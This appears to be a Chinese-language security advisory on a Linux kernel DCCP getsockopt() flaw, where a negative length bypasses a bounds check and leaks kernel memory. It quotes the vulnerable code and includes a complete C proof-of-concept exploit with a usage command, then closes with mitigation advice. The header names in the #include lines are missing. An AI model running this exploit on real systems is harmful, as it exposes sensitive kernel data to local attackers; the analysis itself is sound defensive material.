Linux 内核 DCCP 协议栈内存泄露漏洞深度解析
近期披露了一个影响 Linux 内核的本地安全漏洞,简单来说,本地攻击者能够通过特定手段从内核内存中窃取敏感数据。该问题的根源在于 DCCP(数据报拥塞控制协议)模块中存在的一处代码缺陷,虽然看似不起眼,但实际危害不容忽视,值得所有系统管理员与安全从业者关注。
漏洞影响范围:Linux 内核版本 >= 2.6.20,且内核必须启用了 DCCP 支持。低于 2.6.20 的版本不受影响,因为旧内核的 getsockopt() 调用中并未涉及出问题的两个选项(DCCP_SOCKOPT_SEND_CSCOV 和 DCCP_SOCKOPT_RECV_CSCOV),而漏洞利用代码恰好依赖了这两个选项。
漏洞核心细节:问题出现在 net/dccp/proto.c 文件中的 do_dccp_getsockopt() 函数。以下是关键代码片段:
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
这段代码的缺陷在于,它没有正确检查 len 变量是否为负数。由于整数类型转换问题,当 len 为负数时,len < sizeof(int) 的比较结果并不符合预期,导致错误检查被绕过(len 为负时,比较结果根据 C 语言规则会变为假,从而不会返回 -EINVAL)。因此,后续的 copy_to_user() 被错误地调用:
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
接下来漏洞的利用效果取决于 CPU 架构。在 IA-32(32 位 x86)上,copy_to_user() 的实现中带有 BUG_ON((long) n < 0),这会导致内核崩溃(oops),从而阻止了漏洞进一步利用。而在其他架构上,例如 x86-64,内核空间的数据会被复制到用户提供的缓冲区,复制过程会一直持续到越过内核空间末尾(触发内核模式 pagefault 为止),这意味着敏感数据可能被泄露给攻击者。
漏洞利用代码(PoC)如下:
#include
#include
#include
#include
#include
#include
#include
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int x = getsockopt(s, 269, 11, mem, &len);
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
}
编译运行后,执行 ./poc | strings 即可从内核内存中提取出字符串数据。该漏洞由 Robert Swiecki 发现并提供了 PoC。对于运行受影响内核版本的系统,如果本地存在攻击者且 DCCP 支持已启用,则必须尽快修复——要么直接禁用 DCCP 模块,要么应用官方补丁。
总体而言,这是一个典型的整数符号错误(符号扩展缺陷)导致的内核内存泄露问题,在不同 CPU 架构上的实际表现差异显著。对于安全运维人员来说,及时关注内核版本更新以及 DCCP 模块的启用状态,是当前最紧迫的安全措施之一。
